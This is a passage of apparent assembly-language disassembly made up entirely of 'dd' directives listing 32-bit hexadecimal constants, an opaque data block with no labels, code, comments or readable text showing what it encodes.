		dd 0CEF2840Fh, 0E9DD9C6Bh, 4B80A64Bh, 52A1005h,	0F8295380h
		dd 0E007142Dh, 4EA7AD10h, 0C10A8E8h, 0C7542402h, 7958AA12h
		dd 9E20901Ah, 7BB980B7h, 0F3292FDAh, 44AD31BBh,	5F6320DDh
		dd 0C0BFC0BDh, 0AC324FC8h, 0AA45173Dh, 5D3CCECh, 0A88AFEF5h
		dd 18819760h, 5C02C18Bh, 57E10E1h, 416426E4h, 0DEF02AE4h
		dd 74E8E043h, 9F7DA004h, 2FEB91B5h, 934D854h, 3CC1C081h
		dd 0CA206FE5h, 0D04718E4h, 73A90C0Eh, 29445F07h, 0E3F05AD3h
		dd 0B166160h, 470C6832h, 0EE936C59h, 0B73ED3A1h, 4B8094EEh
		dd 4A120922h, 0AEC47746h, 4E543C4Dh, 424F40CBh,	18E8C144h
		dd 0EA74C28Bh, 0C7256B28h, 7A8BC4C2h, 3FBA0409h, 0EACDAFF1h
		dd 8681207h, 0AC42599Ah, 96A40E6Ch, 0DF44FA5Eh,	4609E7FBh
		dd 0B0261B7Dh, 7B3AAFF6h, 9A0EB0A0h, 445A5F75h,	0CCE29034h
		dd 0E61F9C9Ah, 760B912Fh, 211D2FCBh, 80F1B353h,	0C43ED661h
		dd 851BB209h, 0FF04F588h, 0BB007FD5h, 49B815B4h, 2B179EB8h
		dd 0E101A43Dh, 0FADFE9EBh, 96D07589h, 0BB043B96h, 54C2146Ch
		dd 43FCD380h, 0E94D0B47h, 97C87DB2h, 40997C44h,	3A2C5493h
		dd 5BBF0957h, 26DC8442h, 0A3769C07h, 323E8099h,	19159675h
		dd 1E02E7C1h, 66B7016h,	3E132B90h, 6BBC33B3h, 0C105E21h
		dd 61129F13h, 2AF9FD90h, 660D1860h, 0B03D5A57h,	3EB05062h
		dd 0E9E0144Fh, 13725BE9h, 4C84A3EEh, 98CF853Eh,	77C491BCh
		dd 0A1BA0065h, 222C0Dh,	678EE281h, 47E934A6h, 422C07BFh
		dd 1ED45C65h, 0F42C64BAh, 0D141EF86h, 0F586DD20h, 30715902h
		dd 7A20CDA8h, 0FB013BD6h, 88DBC3B2h, 0BAFDD4EBh, 0F852779Ch
		dd 37685B6Eh, 0F925D88Bh, 0D99D4203h, 20EF641Ah, 81049CC6h
		dd 4E66FEF1h, 684B43BFh, 3D104B23h, 277ABD21h, 0F11832CAh
		dd 4A3B91B8h, 0D3BA02A1h, 0D50A4D2Eh, 76AC11E9h, 12EC5B90h
		dd 0AB74DA03h, 19B15862h, 61326E77h, 0DA8477D3h, 0DA28FB5Eh
		dd 68D9C35Ch, 9716142Bh, 0E1B9EAF9h, 8B29CDDEh,	26D6D8D3h
		dd 0CF6D4C28h, 5FB8E295h, 8727F5ECh, 0CFC1548Ah, 80C2DC4Ah
		dd 68D8015Bh, 53A43249h, 61EE5D30h, 28408DC6h, 2844E62h
		dd 43D20DAh, 0D1C0CF0Dh, 4771057Fh, 840C143Ah, 0FBE3CD9Fh
		dd 2189F9C0h, 0AD294C61h, 0BAF41327h, 8BAB1CC5h, 7EC4EA1h
		dd 4DAFBB1h, 0F7800BAAh, 11C15F7Ch, 905562E9h, 7CBB8FABh
		dd 0C8DBE925h, 9D59CF9Eh, 4D08CEF3h, 495F596Eh,	4882C24Ah
		dd 54025C11h, 0D8815559h, 2A3DCE6Dh, 65E96D80h,	0B920C085h
		dd 670B64BBh, 59CD2116h, 0BF57CE0h, 0C983920h, 0A58B942h
		dd 6DC2CC0Bh, 0FA8DC029h, 5F90CB16h, 8A6FC2DCh,	0C1AFE3D9h
		dd 6984E7C8h, 0C13842C7h, 400F52F3h, 604CF8FCh,	0EB1C3798h
		dd 155D6F5Ah, 0DDA6F381h, 5470ECF0h, 5B83F86Eh,	0C1F56Ah
		dd 397D6808h, 0D060E995h, 5B784A36h, 0A57BBC54h, 37BDC157h
		dd 0D0F089h, 4032B297h,	8BFCDCA7h, 65B95200h, 815E6E1Fh
		dd 1CE40EC9h, 0E1C023BEh, 47262FE2h, 0B2B0E91Bh, 684C0533h
		dd 0FFEE5EEAh, 5540F32Dh, 911A11Ah, 0E191E9A7h,	5A60A2FEh
		dd 9048E86Eh, 0D4B800D0h, 0E99993AAh, 49A8EE23h, 6697F0B5h
		dd 98CD9F30h, 130B65A4h, 8893F188h, 562783D0h, 0F44F16A4h
		dd 84B52894h, 5DD46AA2h, 0EB968FA9h, 0E2C22D49h, 832FF79Ah
		dd 0EC19C5Ch, 0E9822CD8h, 0C9A1BC7Dh, 0E5CDB551h, 0C5136EC0h
		dd 0C42E06CDh, 9273FD2Bh, 0E0B0CBC1h, 0B91CBE05h, 868ACA16h
		dd 0E3C2800Bh, 6F5C684h, 0F804DDF6h, 30871FC5h,	52E596ECh
		dd 912DEE90h, 19380FFDh, 2D95324h, 5AF78859h, 260B6DDCh
		dd 595A56D1h, 0E0E13BCEh, 0CA38603Fh, 0A2C72FCh, 31E784Ch
		dd 0E9A35441h, 532EC01Ah, 1C2FD89Eh, 3EF9634Bh,	2AA60BD2h
		dd 3F21A631h, 0F7E7F512h, 895EBE1Fh, 0C2D63AFCh, 55800B2Fh
		dd 0EB8101AEh, 38297C83h, 0E22B891Bh, 78347E74h, 0DF4BCDE9h
		dd 0E8681192h, 128DBDE7h, 11E2D1Fh, 0F003D02Eh,	0E562C645h
		dd 812937CAh, 2C273EFDh, 8D5909E9h, 4004DBF7h, 9899B7E6h
		dd 0A131402Eh, 0E9F30101h
		dd 353A9602h, 7F67E170h, 0BF8BE18Bh, 0F913D451h, 342B012Dh
		dd 0B090EA4Ch, 0B8F72A64h, 8E6007Ch, 22DFCE81h,	7B06958h
		dd 0C68B69CDh, 2DAE8BBDh, 7854A781h, 7B05D124h,	0B812F612h
		dd 9E1090ECh, 5B5114EFh, 606484C0h, 0AF045809h,	3AFEE8BDh
		dd 965ABFEBh, 2F341684h, 6F59A82h, 1114D457h, 2994A05h
		dd 0A1520DBh, 0C35DC129h, 0A7B00845h, 927C1FFDh, 50DEC130h
		dd 73E4DAE9h, 65F84A45h, 0F4D2ECA5h, 60AF9453h,	8C1D6018h
		dd 4DF01163h, 0D50A8A74h, 7AC069C2h, 5197EDA5h,	55BD82B3h
		dd 0FD827D31h, 49566CD4h, 9779F166h, 0C253CCCh,	0B0286C66h
		dd 8B4C20CDh, 9578F897h, 2A4A78DAh, 47B53E5h, 0EAD398C9h
		dd 0DC6B9D31h, 0C584EA69h, 26BE10D4h, 66097284h, 8FB0050h
		dd 5C5AF088h, 0FF10EAFEh, 426812B5h, 656BD521h,	27B0405h
		dd 15804F8h, 596173BEh,	23DA20DDh, 358AC4Ch, 22470537h
		dd 79811832h, 50E42C06h, 0E381174Bh, 2D3A0C55h,	1B1EDC0Ch
		dd 530943B1h, 13D511E2h, 5A0E49C4h, 7AD3A65Ah, 3B814D2Ch
		dd 2FE5430Dh, 3907BC00h, 0E62BE979h, 0C8F0CAFFh, 3F0BCEA6h
		dd 6D9A7D15h, 0B9847AF3h, 0AD2673Bh, 74666A65h,	0FEF556DAh
		dd 9D4D81FCh, 88F567Bh,	16BBE484h, 1557F18Bh, 0F7B6D2F0h
		dd 0BF4CAF05h, 0ABB11AEh, 6CCC544Eh, 7EC60097h,	0FB87719Bh
		dd 0B064769h, 8A45562Ah, 49C5D10Eh, 84F8295Dh, 801FA8E9h
		dd 44A105E8h, 502DE40Ch, 2DD76C5Dh, 30E5EB21h, 0C34AE905h
		dd 69A9CC24h, 0F031590Fh, 72A003CBh, 4A3347BAh,	0F2815500h
		dd 7A904163h, 0E87C49E9h, 5AD5090Fh, 0D139C0DDh, 0EA29B223h
		dd 0ABDDE919h, 973EF65Dh, 0F855B51Ah, 62FB45D9h, 0C801845Fh
		dd 0E9502CFFh, 0E882692Dh, 80D8E63Fh, 0B1B74468h, 123017D9h
		dd 2BFF9E95h, 17542DFAh, 826EC758h, 0E8B52275h,	0EF1BF49Bh
		dd 177B2866h, 7E66F101h, 0CB8921E6h, 40CD2020h,	380CB3BDh
		dd 0A066D820h, 29964BA6h, 0FA6AF097h, 4BD046BDh, 48E4B99Eh
		dd 43EA95Bh, 0AB5CF875h, 7888A03Dh, 68047EF0h, 66ED74A7h
		dd 255FE392h, 81557E05h, 0A21BF32Dh, 40E2D44Dh,	325D826h
		dd 4C070514h, 13780128h, 44E90A3Ch, 50420EF7h, 0E542D488h
		dd 3A615A58h, 286FFDC4h, 0CF794F3Dh, 0E911317Ah, 16163A1Bh
		dd 0D26977AAh, 0AFCA67C9h, 0EF37E055h, 6BAB2431h, 708310A0h
		dd 1780EA39h, 9D0F5976h, 5E74C496h, 0AE23C517h,	4DC2D434h
		dd 6194628Dh, 4769D3F5h, 14296272h, 5F0BC5C1h, 680A7A19h
		dd 0FD5E13A6h, 0F5972DAFh, 0F9F5A739h, 0F7666135h, 1868CCE1h
		dd 17201298h, 0EA8101B3h, 46862DEDh, 0B8C43F42h, 56F29340h
		dd 304F9A61h, 5D28D2F7h, 73609840h, 0C401291Ch,	4AD7E877h
		dd 0C4DB85Ah, 215F2A23h, 0B36313A0h, 0CDCB0F28h, 0FB26A1A4h
		dd 5F011588h, 12CBCFBh,	138BBD55h, 0B8B277E1h, 7AC05DAEh
		dd 0B583F7BAh, 44A585BDh, 0CB75F5Eh, 0C192BE49h, 0AAB35337h
		dd 307E7088h, 969F049h,	9A457F68h, 80E042C1h, 0C431A848h
		dd 0EF81053Dh, 80B125DBh, 0BC9F701h, 90F01332h,	9AE54CE6h
		dd 34F813C4h, 0CDC900F5h, 621D3CA3h, 2E28E4EDh,	944763Eh
		dd 8C7F9EEDh, 15189Bh, 293BA597h, 685D386Ah, 906B2724h
		dd 96905267h, 4B481C79h, 176E05Ah, 0C7F168BDh, 7BFAF6D4h
		dd 0E16D5264h, 66DBF607h, 9F507B7Ah, 89B58EFCh,	21D001DBh
		dd 0F6600DB9h, 0ECE6956Ch, 9954B125h, 286A51EBh, 6838556Eh
		dd 1083C926h, 5939CDF3h, 0D1204787h, 678F3F6Fh,	0C5AEA8B3h
		dd 594FE33h, 2FEE65C0h,	85E22637h, 0B85E17E6h, 55F491Ah
		dd 0FD96E923h, 0B401B2A9h, 0C9C48060h, 66E82028h, 4830C680h
		dd 0E91790F5h, 16F6FDCBh, 710506EBh, 6C40907Bh,	840FC909h
		dd 0CCC8BF50h, 69AA73AEh, 0F0953E4Ch, 74EA0104h, 0BCE97DD0h
		dd 0D74A2D91h, 4FFEB2B0h, 2784FCC2h, 3F0D1B9h, 27EF0F68h
		dd 40F641DAh, 34083503h, 0D948FB93h, 947B0A3Eh,	66C9AED7h
		dd 447D5FAh, 0DAE77427h, 5088FD7Eh, 24EE24E7h, 9A6C1B37h
		dd 93950A3Fh, 95E36B89h, 2F3B5B28h, 0EA0ADDBh, 720B7F34h
		dd 0A5CB093Eh, 28C760F7h, 9F0590D0h, 21060CDh, 2761B897h
		dd 0F4DF8BC0h, 4EF75A48h, 4DE92CFEh, 0F9309284h, 0B0351091h
		dd 50476860h, 439D2C48h, 80FF504h, 3F9275Eh, 70544BCFh
		dd 0D3293746h, 0D60BA2A9h, 0A296D994h, 1A141D8Bh, 0BA22C15Ch
		dd 5DEF0100h, 681758AEh, 0CE602C12h, 89A59C6h, 0DEA9E960h
		dd 0FD336809h, 2DD750AAh, 7CCB757Bh, 0FFBF60A4h, 6B507222h
		dd 12171BC2h, 54E92BDAh, 66C01E13h, 882C3E2Eh, 66256BDCh
		dd 5B45B767h, 8F1021A6h, 0E08AE14Bh, 4FCB8CEEh,	3B0160C6h
		dd 0BC104E2Bh, 7B7105D5h, 2A801F79h, 2AC0508h, 0E94AD5F9h
		dd 8A768DDFh, 18D9EF50h, 0C64D320h, 1A4E6774h, 5A681ABCh
		dd 5BDF8D08h, 13170612h, 11B06817h, 79FFB58Ch, 0C460FF0Dh
		dd 0DB102D42h, 6B0671D0h, 51A27EF8h, 0B80F4FD2h, 0D42DA222h
		dd 0AA855A32h, 5D9F648Ch, 1D548BDFh, 7509CBC0h,	12E627h
		dd 0E9535621h, 367363A3h, 3B7A5B5Dh, 0FA594A27h, 3BB34CAEh
		dd 96425A26h, 0E2E5B0D4h, 4722F260h, 169AE781h,	3165A24h
		dd 12200415h, 6A53A605h, 5FD40AC9h, 0D55F070Bh,	0F1A403A4h
		dd 48006B8Ch, 23EA3748h, 2B6F2D68h, 559BBDCh, 0EA09882Ah
		dd 54255F96h, 9791141Fh, 74DB883Fh, 85BF56F6h, 3929EB70h
		dd 0AC50987Fh, 9B8C514Fh, 3CEA17B1h, 6B23B1FAh,	0C7794829h
		dd 60F06808h, 7077E904h, 2BDD89AEh, 15D8EEF2h, 79B7555Bh
		dd 2845AF3h, 178CFFF8h,	0BC780174h, 58C22925h, 67B2C52h
		dd 3B546EFAh, 7C1506Ch,	0BEABC5Ah, 8C4018E9h, 303C21B2h
		dd 5BFADD7h, 9FF04A9Eh,	1A205832h, 2BEBBD00h, 0D531410Ch
		dd 0CFBA5A0Eh, 0E98481B6h, 0A92DFD1Bh, 706CEB10h, 1224D048h
		dd 5CD0CB43h, 76A249BBh, 75E60F15h, 0F816EA1Dh,	0E1F917BEh
		dd 5C008DE2h, 308FB551h, 0D8E059EBh, 0C328E898h, 525FF1C7h
		dd 815A43CAh, 3ADABCF4h, 589DBF3h, 0E5D20BDEh, 950A0815h
		dd 870EF625h, 0BC53179Bh, 5D8268EAh, 7A0C6D40h,	56653A1Eh
		dd 0EA4140C2h, 5530E02Bh, 4FAFB4D9h, 0C8C61605h, 0DC120546h
		dd 5EE4B5Bh, 0BAC1016Ah, 0C9A43961h, 0BD642C92h, 6812746Dh
		dd 0E235EEh, 4ED7BE10h,	943E83A0h, 0F58006EFh, 9039063Fh
		dd 22BC2DE9h, 5E5A64A8h, 8D959A88h, 6D2DBDAh, 0A98520BEh
		dd 2507320Ch, 7B64F181h, 15E93C71h, 0F65F8338h,	0F0FD5EF5h
		dd 6EEF7CA1h, 0E539E5F3h, 0E116A493h, 520702F7h, 8609355Eh
		dd 11AFF9CDh, 8C472633h, 0D05F08A0h, 3D685F03h,	0B2691019h
		dd 4C041BDh, 0F7AA0E3Fh, 0A794B7Eh, 26578D6h, 0B5635004h
		dd 0B167AA13h, 0DDFB7494h, 0F6B82AA1h, 6F406CA8h, 0C383125Fh
		dd 0A5ACBC02h, 2AF7D9EAh, 5F6495E4h, 0CE56ACC9h, 0E49270F0h
		dd 0DB9B5934h, 5313A92Ch, 0BF929FE2h, 8FFFED64h, 7DFE4076h
		dd 7782909Ch, 7D55D694h, 6350DF83h, 52F5A58h, 800DA623h
		dd 0F5270A0h, 0CD015A5Dh, 405BBBA6h, 531340B5h,	7E788B2Ah
		dd 838D305h, 28BF5E10h,	0BA3552EFh, 10EF21D2h, 902AF118h
		dd 25242DE9h, 0BB2D7546h, 1740C758h, 16CEEC64h,	0C5E36048h
		dd 17C45010h, 1EAB5966h, 67C589FDh, 0EF86E55h, 520EB050h
		dd 2BB93699h, 5325C0B7h, 0AE6690C0h, 4231372Dh,	9296DF18h
		dd 2E313990h, 3960C58Bh
		dd 7B401818h, 648BD09h,	0EAEEB10Eh, 2B6A8BB7h, 0B9817F1Dh
		dd 2C923AE9h, 7565D637h, 0B3CC1744h, 0F0F82804h, 0BC40015Eh
		dd 8EB3CC1h, 0A4834F13h, 9A953854h, 6559E3ECh, 8388BD94h
		dd 9F988012h, 0D2E4DAF6h, 0FE160EC0h, 0F6FA86CAh, 0C108DED7h
		dd 4B6801F2h, 5AA6234Ah, 0C5205BB8h, 0DAE5800Eh, 0BFC0EEFEh
		dd 2839D0EFh, 14EE7A0h,	85CB8107h, 0F937451Fh, 7067DA2h
		dd 231EBDC3h, 0B22E0CCDh, 71B71239h, 6803C890h,	0BD29FAE0h
		dd 3837B887h, 302D5F00h, 12F147Ah, 50551C05h, 0F2E8016Dh
		dd 1195078Fh, 46373300h, 1D685D28h, 0B614C9Dh, 0F4A31ABh
		dd 69981A81h, 3B592162h, 565A6E01h, 152EFBE9h, 7D161CB7h
		dd 6B0F8C58h, 0DFDF6E52h, 88B10917h, 0F485E7DBh, 2C41040h
		dd 9257CA68h, 747520CDh, 0E200AC5Ch, 9336F5EDh,	1CB2C7C5h
		dd 0CEA0E613h, 31C2BF33h, 2F07C7DFh, 43999534h,	2580DC08h
		dd 8B28A6F9h, 0AB3E1509h, 189D505Eh, 0A30D22E9h, 22594F5h
		dd 9417D23Ah, 0B7E5A786h, 5DC512Dh, 0AE14C268h,	0D1B0BA31h
		dd 0DDCF8801h, 30D9356Fh, 634FD980h, 248850A8h,	21693909h
		dd 852F7BEh, 0D615F16Bh, 0EE1DD882h, 1A597C09h,	0C67DC536h
		dd 55C82574h, 0E6EEDBFAh, 0B6F0A854h, 0F188E103h, 1DC9FE5Ah
		dd 297AB17Ch, 207E07B3h, 0C120CCD1h, 99E18016h,	30A7C304h
		dd 0B92EB281h, 0B44ABC62h, 0FD2B29F0h, 9268D5Fh, 0CE57538Ah
		dd 2D444382h, 5B885763h, 0D5622507h, 49E46575h,	50D81322h
		dd 0E734FD5Ah, 1C0D1E6h, 7C7D4488h, 0C1EC227Ch,	85A8C33Dh
		dd 0FB014290h, 326EEF01h, 0E33B037Bh, 21155075h, 447E0412h
		dd 0ED288FE8h, 0CEE93708h, 0B2F3B0E1h, 0D54F1201h, 3148E5E9h
		dd 0A2D34B79h, 0E955C162h, 9C7A906Ah, 98092DB8h, 5D1B0908h
		dd 0B0552589h, 80B1C65Dh, 2D17D268h, 81CC364Eh,	0D787244Fh
		dd 0E90E6CDBh, 1D12CF4Eh, 5BD8CEAEh, 0CB4B42E7h, 409F4935h
		dd 2D022991h, 0A3E97257h, 0B830A68h, 27ACA945h,	2504D624h
		dd 0EF297B6Dh, 40E330F4h, 0EE58C1F8h, 9EEB1A5Fh, 29F12F33h
		dd 492EC284h, 42CAF2C5h, 55C58AFh, 0AE9988BAh, 0C9D7E084h
		dd 0D9207641h, 4BAFF049h, 845027B2h, 2188AADDh,	0B8E14B0Ch
		dd 8AC9DFC2h, 4E5022B8h, 7C29D856h, 0C49C2A5Eh,	1202B723h
		dd 52006A5Bh, 0B788DDB2h, 0F69E29C5h, 282FDEE7h, 14092596h
		dd 0FB05420h, 5E59EDE9h, 7A8A92C3h, 0C655C858h,	0CB0D56FEh
		dd 0A805FD22h, 0E0C7FE02h, 4CB8B1BAh, 371A1128h, 35F939B6h
		dd 5FF6BA62h, 0B4782498h, 73228CA4h, 5771BF84h,	61F9DA4h
		dd 64C4A2E0h, 8602BF4Fh, 6801FCA4h, 687F52F6h, 0EBB6563Fh
		dd 73589239h, 0DC98E0Ch, 87CA5BE9h, 4A8A5F5Eh, 5EF0BEC4h
		dd 10FCCBE7h, 433B7756h, 34E86D16h, 0AE68EB3Ah,	134E4EE9h
		dd 0BA0AEADDh, 818FE279h, 0C432EE3h, 13BEAE20h,	0B8AF6C0Bh
		dd 2AAD5B37h, 0E90BE0D4h, 0D372791Eh, 3A85615Ah, 94A25FFCh
		dd 2FB1155h, 34FEF919h,	7FBE6844h, 16D4E62h, 0F8D830ACh
		dd 0C8B173EDh, 0D2E4E986h, 0EAD12D20h, 0EA9F3570h, 60196091h
		dd 0AD094A5Bh, 93921C3Ah, 1601BC13h, 38032CBDh,	68A81882h
		dd 1C613339h, 13200376h, 18DFF634h, 3E2DABFFh, 543B5617h
		dd 8508DB1h, 0C1743FE9h, 4022F2D5h, 0D36D6044h,	864A65FAh
		dd 0F5F7198Ch, 77977D20h, 0EFC3DE29h, 498F76C0h, 0AA625582h
		dd 2D29E155h, 0E835320h, 49162F3Fh, 1408E1C6h, 0F5B009ECh
		dd 106E8948h, 0C03DD044h, 0CEDE0527h, 0E6C78C9h, 0EF885301h
		dd 0E75BF847h, 0E6C50759h, 1A209058h, 6051A250h, 0C488B96Bh
		dd 0E86E09ACh, 55EA97C5h, 0EDE52928h, 8DE62478h, 4103C340h
		dd 0F71318A2h, 3ECCDCD3h, 0D4EC3D25h, 0E2DA9355h, 121925Eh
		dd 0CD2825E9h, 4E7D3A46h, 0F133D22Ch, 6288DD54h, 1E72C63h
		dd 2954F275h, 14B631F0h, 0BF3C108h, 0FAB26E97h,	0AC299F72h
		dd 82F24484h, 0B905DEBEh, 0CABFD6FEh, 4103002h,	42CB290Dh
		dd 7A080CFAh, 5DB440ABh, 0EA53587Eh, 8DB34E65h,	0FF3DC44Ah
		dd 4CE97CD0h, 7E4E9D4Eh, 4B71EE95h, 8B4D2558h, 575E17D3h
		dd 0BC1B74AEh, 8CBBA43Eh, 0AE64E9A9h, 0E1AE2DB1h, 0C8F5D6EEh
		dd 58525977h, 2CC4A7BAh, 53011F91h, 1388BB66h, 7BEB8940h
		dd 0F17AF377h, 8F43F54Ah, 6AD38705h, 9E200542h,	0DBF81E3Fh
		dd 1C6139B7h, 872871CEh, 0DF99F60Ah, 88937EABh,	0B624CCD1h
		dd 51D5700Bh, 0BF284242h, 0CC7C8009h, 0B5311E7Fh, 7A5688E9h
		dd 0A92B1999h, 0CBBBA19Eh, 5F32F77Eh, 0E9F1F50Fh, 2142215Fh
		dd 13E01C4Fh, 40A8B4CEh, 37314968h, 0D3BC484Bh,	5C7FDAE0h
		dd 17050800h, 172CF75h,	72D51D0h, 42B1E07Bh, 6C9DA5BAh
		dd 0F5FABDA2h, 0D37D5848h, 0DB2808BEh, 12D08F14h, 1BA24771h
		dd 9901F951h, 5D02742Fh, 0B646B277h, 38C595DFh,	0C6258E20h
		dd 0C898518Ah, 0BD22A71Dh, 0C655872Ah, 0B1C34B79h, 5E8C0BC9h
		dd 2060E3CDh, 21AB4E0Bh, 9D5954D3h, 95601FE8h, 9B5A2198h
		dd 80CF4082h, 62874CCFh, 8B13F41Fh, 0FA5B7C17h,	39291F0Ch
		dd 0B8FB5EA5h, 16EBE59Dh, 0C9257172h, 413102CDh, 42021A7h
		dd 8CAA4AA1h, 0FC602FCFh, 4EBBC2DFh, 0F78F95BFh, 3FA47061h
		dd 418D2CE9h, 3A7440C2h, 6248E26Ch, 6D2D76CEh, 44256EFh
		dd 0AEC0835Eh, 6DD8A0A2h, 79E86853h, 45625B9Fh,	8986FD5Bh
		dd 630C04F3h, 1CCB680Eh, 536F1955h, 756D23Fh, 3C067506h
		dd 3DFED0E8h, 0C79FE7B7h, 0DFF78EDEh, 0BA5BF905h, 0F0288A20h
		dd 63A65E04h, 21D6E969h, 1C02D0F7h, 2927620Fh, 8A81CC3h
		dd 3CF3B190h, 5651C05Ah, 2430BF68h, 8FC190Ah, 0F82F8B3Bh
		dd 22EB6EEh, 0EF36E6D0h, 0E52FCDDCh, 4A3E28F9h,	5B71E34Fh
		dd 419C91E0h, 45DED489h, 0FBBF279Ah, 528E6944h,	21FA4A02h
		dd 69C6AA81h, 0E946C80Ch, 125D2625h, 9B1D68CFh,	5BEF7ECFh
		dd 2D970793h, 4031233Ah, 2A4A22D1h, 7F510472h, 0F89F9282h
		dd 0C9F60709h, 31771700h, 665873C5h, 6D7FBAEBh,	530005ECh
		dd 0E241E4BBh, 5F38163h, 18555203h, 4CAC509h, 135110F8h
		dd 0ED3800BEh, 28689C43h, 95D570BDh, 9524492Fh,	5864FE6Ch
		dd 5C975FCh, 836B685Fh,	0C1BFC075h, 0F0C3BDEh, 913AE1ECh
		dd 8922E46Eh, 0B94139F8h, 9604F66Eh, 5A1C22AAh,	5C91A95Dh
		dd 1A69A57Eh, 10913D5Fh, 0BD5FD2F6h, 91454E92h,	5CF766Ah
		dd 0E9A39D17h, 2CBDE89h, 0DD0D487Dh, 5C50033Ch,	4941D1F7h
		dd 5DA1D207h, 0D48C98F1h, 13571894h, 2FF61A72h,	24E243Eh
		dd 0D06BCEF1h, 0F040F74Fh, 0F780E20Eh, 0BD8996D6h, 0FEE291ADh
		dd 86766F62h, 31343204h, 6A3D9A82h, 0D93457C3h,	70567B20h
		dd 2A5BBD68h, 4EC2C08h,	8557D301h, 0F1D4AF01h, 29EC05FBh
		dd 0B9C0FFBh, 0F8565A64h, 5FE4B08Bh, 12094A31h,	0DE18AA1Eh
		dd 1E1E9AD8h, 4A503F0Dh, 8952D3A9h, 0CED45358h,	0E40BF7D2h
		dd 0A188B4FDh, 982DA55Ch, 61C8E94Eh, 20577C29h,	9F5AB760h
		dd 9AFAD016h, 39003B2h,	0BFE33320h, 72A702CFh, 0EA855DB4h
		dd 10E4B65Bh, 0B400B02Dh, 0BEB35347h, 0CDA0DC20h, 189BC24Ah
		dd 0D606953Ch, 4CCE19C5h, 0CF751C93h, 0C25AB32Eh, 0A74497E9h
		dd 0BF72FAFFh, 0A8707645h, 5A577AC5h, 5B24F449h, 2F915851h
		dd 0CABB5784h, 0B7F85F1Dh, 8D438785h, 5B122E36h, 0DF1061E6h
		dd 0D95C2564h, 76E2AF79h, 0D2503BE6h, 4F8B5D2Ah, 3E90FDCCh
		dd 0E08C255Fh, 1CC3FE5Dh
		dd 0CC3CF380h, 0E311B5EBh, 28BE9B40h, 2D9DD828h, 48F1A3DFh
		dd 0F794064Bh, 1367EC61h, 16CF569h, 38080B6Fh, 5D0FC41h
		dd 2D8013B6h, 0A0BE83BBh, 24729829h, 9C77CF7Fh,	63297C2h
		dd 53AABF0Bh, 2F45C705h, 187175Ch, 813EF85h, 0CB9264D1h
		dd 7AF0987Fh, 0D7486F58h, 714A18F6h, 542CFC0h, 397BC8EFh
		dd 5DF5C814h, 849B12E1h, 126285A2h, 5300DB02h, 168B6852h
		dd 0A81C5E70h, 7CFA0519h, 0CC007235h, 4E7558Fh,	82558229h
		dd 0C55B4D69h, 0D827BE0Bh, 0C6B98940h, 770B301Eh, 14C7FA8Ch
		dd 59620CBFh, 609C3D28h, 0A900DD6h, 0FF2A3482h,	5F070B14h
		dd 900BA0DEh, 94FFC49Ah, 3B350BCAh, 502F5182h, 0B75BB200h
		dd 51589D8Ah, 0DCEF803Dh, 0E9550BAFh, 0F705621Eh, 96D298E3h
		dd 967DE66Ah, 0B88795B2h, 3DCE01ADh, 0D3B42B2Dh, 0C41830E9h
		dd 42FEF7F7h, 2F71962Eh, 86414C28h, 0C0784641h,	122EE15h
		dd 260D5142h, 296205C9h, 0ACC304D0h, 3E2C1D7Bh,	1288CC5Ah
		dd 0FB5EF729h, 424B472Ah, 6681E982h, 44D4274Bh,	68016917h
		dd 0DE77649Fh, 94A06251h, 0BD80A97Dh, 25E80C0Bh, 89DE29C9h
		dd 0BC95CE4Ah, 0CC678AEEh, 55E903FFh, 0E0FBB6ADh, 0BD5B252h
		dd 0E2C0DAF6h, 2BF2DC82h, 8E3A5B76h, 1D10461h, 0B7E4E9D0h
		dd 65CDB550h, 2FBB304Ah, 44301F72h, 58645061h, 0B9551C04h
		dd 0DF360EF1h, 257CB992h, 0BF67002Bh, 2C0B7ED0h, 0ACE63136h
		dd 0AD5F1750h, 6E688435h, 0D3157EF3h, 1A12E80Ch, 0F075D041h
		dd 255CA265h, 54DF5295h, 27CC07C8h, 79A285Eh, 29572024h
		dd 77E7E2D3h, 0D6A62A75h, 28BD053Ah, 6D804267h,	277B7D9h
		dd 0E9CE31AAh, 0B1DCCA46h, 283C0C2h, 2575EE81h,	449C5A36h
		dd 0F69A4B79h, 1D7A1197h, 4953CB75h, 3B7F24A0h,	0E9B80DE6h
		dd 2F01C240h, 167605F0h, 22A97BAFh, 0F1F62790h,	0D4A567D4h
		dd 616C522Fh, 266D799Fh, 17D92730h, 17989415h, 0E0005758h
		dd 16A5216Dh, 1F4C01BFh, 0A1E9419Eh, 10090569h,	45558FE3h
		dd 0E349FE08h, 440BFF56h, 820C9257h, 404BEFh, 7AB6CE81h
		dd 8E2E9C28h, 0F4615F09h, 46C56DEh, 0BE51CA87h,	1C0EAF5Bh
		dd 17B5E3C0h, 84E68DB8h, 0FD3AE9F9h, 72E0A1CDh,	0F96B977Fh
		dd 54803C1Dh, 1ED6054Eh, 699A2D47h, 62D001D3h, 60E90E16h
		dd 3500665Eh, 2839B7C6h, 0F2C25B89h, 8353D39Fh,	2060BFAh
		dd 510045C5h, 0CB1FDE68h, 0A6E91279h, 49ED5D94h, 600E9D7Bh
		dd 90D4D68h, 32E963E8h,	0F239403Fh, 5D303BD3h, 853BC89Dh
		dd 3745C4FBh, 0C7D3EC6Eh, 40557AEFh, 85C82EFh, 91D747D5h
		dd 478F845Dh, 0A4203C83h, 0DAD3CCEBh, 3F1B45B7h, 0A646D52Dh
		dd 4F8B583Eh, 268580A6h, 0CB26FC63h, 125B7450h,	80AC42A8h
		dd 6D54DFF6h, 89CFB209h, 0B6640632h, 59562F1Eh,	45D230C3h
		dd 0DF5B8957h, 92224C1Eh, 9D3F94B5h, 0D5ECA7EAh, 75279D90h
		dd 0A3CE1C9Bh, 21AFFCD8h, 0BD4AA48Dh, 98323F53h, 0EEB53EF3h
		dd 3A549553h, 10815092h, 0AA5D1F7h, 61FADBDCh, 5054C73h
		dd 0B97E959Dh, 5E6811Bh, 308BF681h, 147D1002h, 0E9334073h
		dd 14DDAF2Dh, 0C09EF826h, 0C7E381ABh, 634ED97Dh, 7221A3F0h
		dd 9EEA209h, 8222E5C6h,	339F620Ah, 0D02BE2FDh, 0B5F29709h
		dd 88220E82h, 8009F937h, 2D2C957Fh, 4AEEF63Eh, 0D694F2BDh
		dd 61875102h, 0E125E069h, 4D0C1D49h, 2C98170h, 35348458h
		dd 32A8DC73h, 30348B4Ah, 648902ACh, 2A855563h, 0E022B001h
		dd 0A060E04h, 4F8F054Ah, 40F40838h, 800DFE80h, 0C081602Dh
		dd 2918C8BEh, 7ED6108Eh, 513508C6h, 72792018h, 20489F20h
		dd 1D33A5E0h, 774408B2h, 0E1574071h, 3910CB62h,	425E038Ch
